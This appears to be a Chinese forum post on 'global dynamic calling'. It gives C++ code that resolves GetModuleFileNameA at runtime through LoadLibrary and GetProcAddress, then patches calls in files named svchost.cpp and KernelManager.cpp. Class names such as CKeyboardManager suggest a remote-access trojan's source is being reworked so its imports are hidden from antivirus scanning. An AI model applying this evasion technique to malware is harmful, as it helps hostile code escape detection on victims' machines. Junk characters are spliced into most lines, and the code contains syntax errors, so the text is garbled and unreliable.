[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记* p1 E" c  n0 t  u  o
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h0 s$ a7 S2 n' a
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DTDY.h：
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. X% P" \4 N2 {: p/ Z  i. x5 M" j#if _MSC_VER>1000
  j% H" o3 J7 G! s#pragma once
0 B) o: R% [( k0 u: c0 ~7 Z#endif //_MSC_VER>1000" Q" e3 M1 h' d( M/ Y
#include<windows.h>; d! ]' @" u5 P- |
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
( M0 k. w) c9 V' R4 X7 Y2 Rclass DTDY# S* Y! r/ c/ t. I( m0 `
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public:
7 Y! o( z0 z. k  J9 R5 ODTDY();1 H9 I) g  G8 Q& n. U( Y7 x" ~% G# Y
virtual ~DTDY();# v/ v, a/ C. I& w; a
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static pGetModuleFileNameA MyGetModuleFileName;
. R+ H2 p$ x* q6 L+ Astatic BOOL FunInitiallization();8 o, H& C- l- m8 H0 h) L. n
};' P- V8 J! q) N  F. A4 O
#endif5 a+ I1 }( w+ `
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DTDY.cpp:0 _/ Z0 e) U1 C3 H; q2 w) b7 [

) P6 M( Z# R9 w# Q- S. c9 P( w7 I#include "DTDY.h"/ X6 E" u! q- R6 g. z# X! C2 O
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;- l8 R8 n# j1 T/ I  P7 O
DTDY:TDY()" @. n; m; T* l0 u$ k
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}
: M. s) l2 P$ e6 M- M. sDTDY::~DTDY(), f) K: A8 I: e7 v5 S. G
{
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" X; `: {3 g$ D# f) n. }! xBOOL DTDY::FunInitiallization()" v3 A: z" e: z
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HMODULE hModule=LoadLibrary("kernel32.dll");/ X8 s$ e7 j8 v  Z3 v0 k' h
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
* c* s! b( ~/ S3 [+ U& B* iif(!MyGetModuleFileName=) return FALSE;+ v" a$ w" ~0 m8 E7 N- k
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return TRUE;' `2 o& i4 Z  W: v( r+ U
}
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; r. @3 A2 U) q5 Jsvchost.cpp:
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#include "DTDY.h"9 }% X# y" R0 s" n

9 T9 W% Q# E7 uBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)+ r1 t8 G6 i, X2 h, d- X4 m0 `
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switch(ul_reason_for_call)4 s* m4 I( d3 @1 W
{
& B& j; K6 q4 h) b& m/ Acase DLL_PROCESS_ATTACH:
& ~9 U2 q# n+ Dif(!DTDY::FunInitiallization()) return FALSE;9 r& _- z: C3 f. r3 M6 T; S5 ?( O7 Q
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break;
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$ W) ]& j  T9 l' OGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def; V& J6 x( W" G% D
改写为1 y- F9 K/ @9 l
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:* z$ p4 w0 T+ k, [; ?/ r
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#include "../DTDY.h"
6 F* U' g4 _! t, @8 PGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% b! ~8 p  W2 y2 ^
改写为/ z1 ]: g+ Z( d9 \' J* O4 R
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 j& ^6 C* _) V
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